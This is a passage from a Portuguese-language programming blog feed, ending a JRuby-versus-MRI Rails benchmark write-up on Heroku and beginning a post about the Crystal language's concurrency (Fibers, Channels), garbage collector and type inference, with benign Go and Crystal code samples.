    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E a versão JRuby se comporta assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>Summary:
  Total:    15.5784 secs
  Slowest:  7.4106 secs
  Fastest:  0.5770 secs
  Average:  2.3224 secs
  Requests/sec: 12.8383
  Total data:   28848475 bytes
  Size/request: 144242 bytes

Status code distribution:
  [200] 200 responses

Response time histogram:
  0.577 [1] |
  1.260 [23]    |∎∎∎∎∎∎∎∎∎∎∎∎∎∎
  1.944 [62]    |∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎
  2.627 [51]    |∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎
  3.310 [24]    |∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎
  3.994 [26]    |∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎
  4.677 [8] |∎∎∎∎∎
  5.361 [1] |
  6.044 [0] |
  6.727 [1] |
  7.411 [3] |∎

Latency distribution:
  10% in 1.1599 secs
  25% in 1.5154 secs
  50% in 2.0781 secs
  75% in 2.8909 secs
  90% in 3.7409 secs
  95% in 4.2556 secs
  99% in 6.7685 secs</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>No geral, eu diria que estão por aí, mais ou menos no mesmo patamar. Como esse não é um processamento particularmente intensivo de CPU, e a maior parte do tempo é gasta atravessando a stack do Rails e batendo no Memcachier para puxar de volta sempre o mesmo conteúdo, talvez seja justo esperar resultados parecidos.</p>
<p>Por outro lado, não tenho certeza se estou usando a ferramenta da melhor maneira possível. O log fala algo assim para cada requisição:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>source=rack-timeout id=c8ad5f0c-b5c1-47ec-b88b-3fc597ab01dc wait=29ms timeout=20000ms state=ready
Started GET &#34;/&#34; for XXX.35.10.XXX at 2016-06-03 18:54:34 &#43;0000
Processing by HomeController#home as HTML
Read fragment views/radiant-XXXX-XXXXX.herokuapp.com/en (6.0ms)
Completed 200 OK in 8ms (ActiveRecord: 0.0ms)
source=rack-timeout id=c8ad5f0c-b5c1-47ec-b88b-3fc597ab01dc wait=29ms timeout=20000ms service=19ms state=completed
source=rack-timeout id=a5389dc4-9a1a-46b7-a1e5-53f334ca0941 wait=35ms timeout=20000ms state=ready

Started GET &#34;/&#34; for XXX.35.10.XXX at 2016-06-03 18:54:36 &#43;0000
Processing by HomeController#home as HTML
Read fragment views/radiant-XXXX-XXXXX.herokuapp.com/en (6.0ms)
Completed 200 OK in 9ms (ActiveRecord: 0.0ms)
source=rack-timeout id=a5389dc4-9a1a-46b7-a1e5-53f334ca0941 wait=35ms timeout=20000ms service=21ms state=completed
at=info method=GET path=&#34;/&#34; host=radiant-XXXX-XXXXX.herokuapp.com request_id=a5389dc4-9a1a-46b7-a1e5-53f334ca0941 fwd=&#34;XXX.35.10.XXX&#34; dyno=web.1 connect=1ms service=38ms status=200 bytes=144608</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Os tempos reportados pelo Boom são bem maiores (2 segundos?) do que os tempos de processamento nos logs (10ms?). Mesmo considerando algum overhead do roteador e por aí vai, ainda é uma diferença grande, fico me perguntando se as requisições estão ficando tempo demais na fila porque a app não está conseguindo responder mais das requisições concorrentes.</p>
<p>A quantidade de requisições dividida pelo número de conexões concorrentes vai puxar a performance e o throughput geral para baixo se você aumentar demais, e eu não consegui passar muito de 14 rpm com essa configuração.</p>
<p>Se você tem mais experiência com benchmark de http e consegue identificar algo errado que estou fazendo aqui, por favor, me avise nos comentários abaixo.</p>
<h3>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O JRuby continua evoluindo, e você pode se beneficiar se já tiver um conjunto grande de Dynos ou de servidores robustos. Para aplicações pequenas ou médias, eu não recomendaria.</p>
<p>Já vi melhorias de várias ordens de magnitude em casos de uso específicos (acho que era um endpoint de API com tráfego muito alto). Esse caso particular que testei provavelmente não é o ponto forte dele, e mudar do MRI para o JRuby não me deu muita vantagem, então nesse caso eu recomendaria continuar com o MRI.</p>
<p>Tempo de inicialização ainda é um problema. Existe uma entrada no <a href="https://github.com/jruby/jruby/wiki/Improving-startup-time"target="_blank" rel="noopener">Wiki deles</a> com algumas recomendações, mas mesmo no deploy do Heroku eu acabei tendo erros R10 (Boot Timeout) de vez em quando para essa app pequena.</p>
<p>Não cheguei a tentar aumentar os dynos para a <a href="https://blog.heroku.com/archives/2015/8/20/introducing-improved-performance-dynos"target="_blank" rel="noopener">tier Performance</a> lançada no ano passado. Apostaria que o JRuby se sairia melhor nesses e seria mais capaz de aproveitar o poder extra de ter de 2.5GB até 14GB se você tem tráfego realmente grande (na ordem de milhares ou dezenas de milhares de requisições por minuto). Com MRI, a recomendação seria usar dynos pequenos (2X ou no máximo Performance-M) e escalar horizontalmente. Com JRuby você poderia ter menos dynos com tamanhos maiores (Performance-L, por exemplo). De novo, depende do seu caso.</p>
<p>Não encare os benchmarks acima como &ldquo;fatos&rdquo; para generalizar para qualquer lugar, eles estão ali só para te dar uma noção de um caso de uso específico meu. O resultado vai variar, então você precisa testar por si mesmo.</p>
<p>Outro caso de uso (que não testei) é, ao invés de simplesmente &ldquo;portar&rdquo; uma app MRI para JRuby, alavancar as forças únicas do JRuby como <a href="https://blog.heroku.com/archives/2016/5/24/reactive_ruby_building_real_time_apps_with_jruby_and_ratpack"target="_blank" rel="noopener">este post</a> do Heroku explica, no caso de usar JRuby com Ratpack, por exemplo.</p>
<p>Resumindo, o JRuby continua sendo um ótimo projeto para experimentar. O próprio MRI também avançou bastante e o 2.3.1 é bem decente. Na maior parte do tempo, tudo depende das suas escolhas de arquitetura como um todo, e a linguagem é só uma peça do quebra-cabeça. Se você ainda não experimentou, com certeza deveria. Ele &ldquo;simplesmente funciona&rdquo;.</p>
]]></content:encoded><category>rails</category><category>performance</category><category>ruby</category></item><item><title>Flertando com Crystal, a Perspectiva de um Rubyista</title><link>https://akitaonrails.github.io/2016/05/31/flertando-com-crystal-perspectiva-de-um-rubyista/</link><guid isPermaLink="true">https://akitaonrails.github.io/2016/05/31/flertando-com-crystal-perspectiva-de-um-rubyista/</guid><pubDate>Tue, 31 May 2016 18:21:00 -0300</pubDate><description>&lt;p&gt;Quem me acompanha sabe que ando me distraindo com &lt;a href="https://akitaonrails.github.io/elixir"&gt;Elixir&lt;/a&gt; ultimamente. Vou fazer uma introdução grande antes de mergulhar no Crystal, então tenham paciência.&lt;/p&gt;
&lt;p&gt;Vou logo dizer: o Erlang OTP e suas entranhas me intrigam mais do que apenas a novidade da sintaxe da linguagem. Acredito que se você quer construir sistemas altamente distribuídos e também altamente confiáveis, ou você vai usar Erlang (via Elixir), ou vai acabar replicando boa parte do que o Erlang já tem com OTP.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Quem me acompanha sabe que ando me distraindo com <a href="/elixir">Elixir</a> ultimamente. Vou fazer uma introdução grande antes de mergulhar no Crystal, então tenham paciência.</p>
<p>Vou logo dizer: o Erlang OTP e suas entranhas me intrigam mais do que apenas a novidade da sintaxe da linguagem. Acredito que se você quer construir sistemas altamente distribuídos e também altamente confiáveis, ou você vai usar Erlang (via Elixir), ou vai acabar replicando boa parte do que o Erlang já tem com OTP.</p>
<p>Isso fica claro quando você olha para os vários sistemas distribuídos baseados em Java/Scala como Hadoop, Spark, Cassandra, e percebe que todos eles teriam se beneficiado da arquitetura OTP do Erlang. Por outro lado, se você acompanha o Cassandra, vai ver que mesmo o Java ainda sofre para competir com C++, basta comparar com o clone chamado <a href="http://www.scylladb.com/"target="_blank" rel="noopener">ScyllaDB</a>.</p>
<p>Acredito que Elixir (talvez com HiPE) consegue competir na mesma liga do Java em sistemas distribuídos, evitando que as pessoas abandonem a plataforma Erlang em favor de C ou Java como <a href="https://www.infoq.com/news/2012/01/Katz-CouchDB-Couchbase-Server"target="_blank" rel="noopener">aconteceu com o CouchDB</a> lá em 2012, por falta de interesse e pela sintaxe exótica. E como o Java já tem um ecossistema gigante, Clojure entrou no jogo principalmente porque consegue interfacear diretamente com ele.</p>
<p>Vejo Go também como concorrente do Java, mas para outros casos de uso, particularmente no espaço de ferramentas de sistema onde você tem muito C/C++ e código de cola em Perl e Python. Um exemplo óbvio é a orquestração de Docker. Sim, dá pra fazer microsserviços, crawlers e outras coisas, mas eu não estou tão animado em construir grandes &ldquo;aplicações&rdquo; nele, embora nada impeça. De novo, é só opinião pessoal.</p>
<p>Rust é um forte concorrente para desenvolvimento de sistemas de baixo nível. Acho que ele pode substituir C em muitos casos de uso e ser usado para implementar bibliotecas e componentes a serem consumidos por outras linguagens, com o benefício adicional de ser uma linguagem moderna que tenta evitar problemas de segurança como o recente <a href="https://tonyarcieri.com/would-rust-have-prevented-heartbleed-another-look"target="_blank" rel="noopener">fiasco do Heartbleed</a>. Mas por causa do &ldquo;Borrow system&rdquo; eu acho ele extremamente burocrático, especialmente vindo de linguagens altamente dinâmicas como Ruby, Python ou mesmo Swift ou Elixir. Não estou dizendo que isso seja ruim, é só algo que leva muito mais tempo para ficar confortável do que eu esperava.</p>
<p>Crystal é algo entre Rust e Go. LLVM é algo que você precisa ter no radar, e por causa do <a href="http://appleinsider.com/articles/08/06/20/apples_other_open_secret_the_llvm_complier"target="_blank" rel="noopener">apoio da Apple</a> ao Swift está melhor do que nunca. Crystal é <em>similar</em> ao RubyMotion no sentido de que ambos são parecidos com Ruby mas não totalmente compatíveis, e ambos são front-end parsers para o LLVM. RubyMotion, por outro lado, está mais próximo do Ruby e até consegue usar algumas bibliotecas Ruby quase sem mudanças.</p>
<p>Você tem que tirar o chapéu para o Ary Borenszweig e seus contribuidores. É muito impressionante o quanto eles avançaram em tão pouco tempo, sem ter os bolsos fundos da Mozilla, Apple ou Google.</p>
<h3>Limitações<span class="hx:absolute hx:-mt-20" id="limitações"></span>
    <a href="#limita%c3%a7%c3%b5es" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Crystal toma bastante emprestado do Ruby, mas não é objetivo dele atingir qualquer nível de compatibilidade. Ele é uma linguagem fortemente e estaticamente tipada com Inferência de Tipos. Não tem nenhum componente de runtime como RubyMotion ou Swift, então não tem qualquer noção de introspecção ou reflexão sobre objetos.</p>
<p>Resumindo: você não tem &ldquo;#eval&rdquo; nem &ldquo;#send&rdquo;. A falta de avaliação em runtime acaba não sendo tão grave porque você tem manipulação de AST em tempo de compilação através de um sistema bom o bastante de Macros (mais sobre isso adiante).</p>
<p>Mas a falta de &ldquo;#send&rdquo; dói um pouco. É a única coisa que afasta o Crystal da flexibilidade dinâmica dos objetos do Ruby. Mas dá para entender por que isso não é prioridade.</p>
<p>Na versão 0.17.0, Crystal tem uma grande limitação: ele usa um <a href="http://crystal-lang.org/2013/12/05/garbage-collector.html"target="_blank" rel="noopener">garbage collector conservador Boehm-Demers-Weiser</a>.</p>
<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr"><a href="https://twitter.com/asterite">@asterite</a> <a href="https://twitter.com/headius">@headius</a> I assumed as much... the Boehm GC, although handy for starting a new language, will only get you so far</p>&mdash; Jason Frey (@Fryguy9) <a href="https://twitter.com/Fryguy9/status/736990644082757632">May 29, 2016</a></blockquote>
<p>A linguagem está atualmente implementada como um processo single-threaded. Isso significa que você <em>provavelmente</em> não consegue usar 100% de todas as CPUs da sua máquina com um único processo. Posso estar enganado aqui, é só a minha primeira impressão.</p>
<p>Charles Nutter (do JRuby) faz um alerta sobre isso:</p>
<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr"><a href="https://twitter.com/Fryguy9">@fryguy9</a> From their site: <a href="https://t.co/uOjIT0c8ji">https://t.co/uOjIT0c8ji</a> It does say something about "when" parallelism happens. Risky to start single-threaded.</p>&mdash; Charles Nutter (@headius) <a href="https://twitter.com/headius/status/736982955239870464">May 29, 2016</a></blockquote>
<p>É uma faca de dois gumes. Usar um GC &ldquo;genérico&rdquo; plug-and-play como o Boehm - o que em si não é ruim, mas talvez não seja nem de longe tão poderoso quanto o conjunto de GCs de alta performance da própria JVM, como o novíssimo G1GC.</p>
<p>Fazer com que a linguagem seja single-threaded por padrão também significa que toda a biblioteca padrão e todo o ecossistema foi construído assumindo que não há paralelismo. Então não há race-conditions e, consequentemente, nenhum uso de sincronização adequada em lugar nenhum. Se um dia eles decidirem adicionar multi-threading, todo o código existente vai estar inseguro para threads. Provavelmente é isso que o Charles está alertando.</p>
<p>Também acho que não é um problema urgente. Você provavelmente não vai construir um sistema altamente paralelo com Crystal, mas talvez esse não seja o caso de uso. Para isso, você deveria estar usando Elixir + OTP, Scala + Akka, por exemplo.</p>
<h3>Concorrência<span class="hx:absolute hx:-mt-20" id="concorrência"></span>
    <a href="#concorr%c3%aancia" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Não ter acesso a Threads nativas não significa que você fica sem Concorrência. <a href="https://blog.golang.org/concurrency-is-not-parallelism"target="_blank" rel="noopener">Concorrência não é Paralelismo</a>. Desde a <a href="http://crystal-lang.org/2015/04/30/crystal-0.7.0-released.html"target="_blank" rel="noopener">versão 0.7.0</a> eles adicionaram suporte para I/O não-bloqueante e também Fibers e Channels.</p>
<p>Em poucas palavras, uma Fiber é um tipo especial de corotina. É um &ldquo;pedaço de execução&rdquo; que pode &ldquo;pausar&rdquo; a si mesmo e devolver o controle de execução para quem o chamou. Ele pode pausar a si mesmo, mas não pode ser pausado por fora como o Scheduler do Erlang consegue pausar seus processos em execução, por exemplo.</p>
<p>Nesse caso temos uma espécie de &ldquo;Fiber Scheduler&rdquo; que consegue &ldquo;retomar&rdquo; outras Fibers. Ele é, claro, atualmente single-threaded. E funciona como um Event Loop. Sempre que você tem uma operação de I/O não-bloqueante esperando leitura de arquivo, envio de pacote de rede, esse tipo de coisa, ele consegue devolver o controle para outras fibers retomarem o trabalho.</p>
<p>Isso faz com que ele funcione mais ou menos como o Node.js. Javascript também é uma linguagem single-threaded e o Node.js é basicamente uma implementação de event loop. Funções declaram outras funções anônimas como callbacks e tudo funciona com base em triggers de I/O para chamar de volta essas funções a cada tick do reactor.</p>
<p>Em cima disso você pode adicionar <a href="https://github.com/crystal-lang/crystal/issues/1967"target="_blank" rel="noopener">&ldquo;Channels&rdquo;</a> como popularizados pela linguagem Go do Google. Você pode iniciar quantos channels quiser. Aí você pode dar spawn em Fibers no Scheduler. As Fibers podem executar e ficar enviando mensagens pelos Channels. O controle de execução é cedido para quem estiver esperando receber dos mesmos Channels. Quando uma delas recebe e executa, o controle volta para o Scheduler, permitindo que outras Fibers executem, e assim ficam &ldquo;pingando&rdquo; e &ldquo;pongando&rdquo;.</p>
<p>Falando em ping-pong, tem <a href="https://gobyexample.com/channel-directions"target="_blank" rel="noopener">este snippet no site &ldquo;Go by Example&rdquo;</a>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="s">&#34;fmt&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">ping</span><span class="p">(</span><span class="nx">pings</span><span class="w"> </span><span class="kd">chan</span><span class="o">&lt;-</span><span class="w"> </span><span class="kt">string</span><span class="p">,</span><span class="w"> </span><span class="nx">msg</span><span class="w"> </span><span class="kt">string</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nx">pings</span><span class="w"> </span><span class="o">&lt;-</span><span class="w"> </span><span class="nx">msg</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">pong</span><span class="p">(</span><span class="nx">pings</span><span class="w"> </span><span class="o">&lt;-</span><span class="kd">chan</span><span class="w"> </span><span class="kt">string</span><span class="p">,</span><span class="w"> </span><span class="nx">pongs</span><span class="w"> </span><span class="kd">chan</span><span class="o">&lt;-</span><span class="w"> </span><span class="kt">string</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nx">msg</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="o">&lt;-</span><span class="nx">pings</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nx">pongs</span><span class="w"> </span><span class="o">&lt;-</span><span class="w"> </span><span class="nx">msg</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nx">pings</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nb">make</span><span class="p">(</span><span class="kd">chan</span><span class="w"> </span><span class="kt">string</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nx">pongs</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nb">make</span><span class="p">(</span><span class="kd">chan</span><span class="w"> </span><span class="kt">string</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nf">ping</span><span class="p">(</span><span class="nx">pings</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;passed message&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nf">pong</span><span class="p">(</span><span class="nx">pings</span><span class="p">,</span><span class="w"> </span><span class="nx">pongs</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="o">&lt;-</span><span class="nx">pongs</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E isso é basicamente a mesma coisa, mas implementada em Crystal:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">ping</span><span class="p">(</span><span class="n">pings</span><span class="p">,</span> <span class="n">message</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">pings</span><span class="o">.</span><span class="n">send</span> <span class="n">message</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">pong</span><span class="p">(</span><span class="n">pings</span><span class="p">,</span> <span class="n">pongs</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">message</span> <span class="o">=</span> <span class="n">pings</span><span class="o">.</span><span class="n">receive</span>
</span></span><span class="line"><span class="cl">  <span class="n">pongs</span><span class="o">.</span><span class="n">send</span> <span class="n">message</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pings</span> <span class="o">=</span> <span class="no">Channel</span><span class="p">(</span><span class="nb">String</span><span class="p">)</span><span class="o">.</span><span class="n">new</span>
</span></span><span class="line"><span class="cl"><span class="n">pongs</span> <span class="o">=</span> <span class="no">Channel</span><span class="p">(</span><span class="nb">String</span><span class="p">)</span><span class="o">.</span><span class="n">new</span>
</span></span><span class="line"><span class="cl"><span class="n">spawn</span> <span class="n">ping</span> <span class="n">pings</span><span class="p">,</span> <span class="s2">&#34;passed message&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">spawn</span> <span class="n">pong</span> <span class="n">pings</span><span class="p">,</span> <span class="n">pongs</span>
</span></span><span class="line"><span class="cl"><span class="nb">puts</span> <span class="n">pongs</span><span class="o">.</span><span class="n">receive</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;passed message&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Mesma coisa, mas mais agradável aos meus olhos, opinião pessoal de novo - o que é esperado se você também é um Rubyista.</p>
<p>Então, Crystal tem um Event Loop estilo Node.js/Javascript na forma de um Fiber Scheduler e um mecanismo de Channel/CSP estilo Go para coordenar processamento concorrente. É um mecanismo de &ldquo;multitarefa cooperativa&rdquo;. Não é bom para processamento intensivo de CPU, como cálculos pesados ou processamento massivo de dados. Funciona melhor para processamento intensivo de I/O.</p>
<p>Se você tem uma Fiber fazendo processamento super pesado, ela vai bloquear o Scheduler, igual acontece no Node.js. A implementação atual do Scheduler está atrelada a uma única thread nativa, então por enquanto ela não consegue usar outras threads nativas disponíveis no sistema.</p>
<p>Como a implementação dos Channels é bem nova, ela ainda não é usada por toda a biblioteca padrão. Mas a implementação padrão do <code>HTTP::Server</code> usa Fibers. E como ele é compilado para um binário nativo, é <strong>muito mais rápido</strong> que Javascript, como mostra este <a href="https://github.com/sdogruyol/fast-http-server"target="_blank" rel="noopener">&ldquo;fast-http-server&rdquo;</a>:</p>
<ul>
<li>fast-http-server (Crystal)  18348.47rpm a 8.67ms de tempo médio de resposta</li>
<li>http-server (Node.js)   2105.55rpm a 47.92ms de tempo médio de resposta</li>
<li>SimpleHTTPServer (Python)   785.14rpm a 1.91ms de tempo médio de resposta</li>
</ul>
<p>Estamos falando de uma ordem de magnitude de 8 vezes mais rápido que Node.js e mais de 20 vezes mais rápido que Python.</p>
<p>Como sempre, você não deve confiar cegamente em <a href="https://github.com/kostya/benchmarks"target="_blank" rel="noopener">benchmarks sintéticos</a>, mas dependendo do tipo de processamento que você decida comparar, você verá Crystal bem no mesmo patamar de Rust, Go, Swift, D.</p>
<h3>Inferência de Tipos<span class="hx:absolute hx:-mt-20" id="inferência-de-tipos"></span>
    <a href="#infer%c3%aancia-de-tipos" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Crystal é uma linguagem estaticamente tipada. Mas ela não vai exigir que você declare cada tipo de antemão. Ela é bem inteligente na Inferência de Tipos, então se você só digitar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="s2">&#34;HELO&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ela vai saber que &ldquo;a&rdquo; é um &ldquo;Int32&rdquo; e que &ldquo;b&rdquo; é uma &ldquo;String&rdquo;. A propósito, ao contrário do Ruby, todas as Strings precisam usar aspas duplas. Mas a coisa fica particularmente mais complicada quando você está lidando com estruturas de dados complexas como JSON.</p>
<p>Em Ruby eu posso simplesmente parsear uma String JSON e imediatamente explorar sua estrutura assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">parsed_json</span> <span class="o">=</span> <span class="no">JSON</span><span class="o">.</span><span class="n">parse</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">body</span><span class="p">)</span><span class="o">[</span><span class="s2">&#34;files&#34;</span><span class="o">].</span><span class="n">first</span><span class="o">[</span><span class="s2">&#34;id&#34;</span><span class="o">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
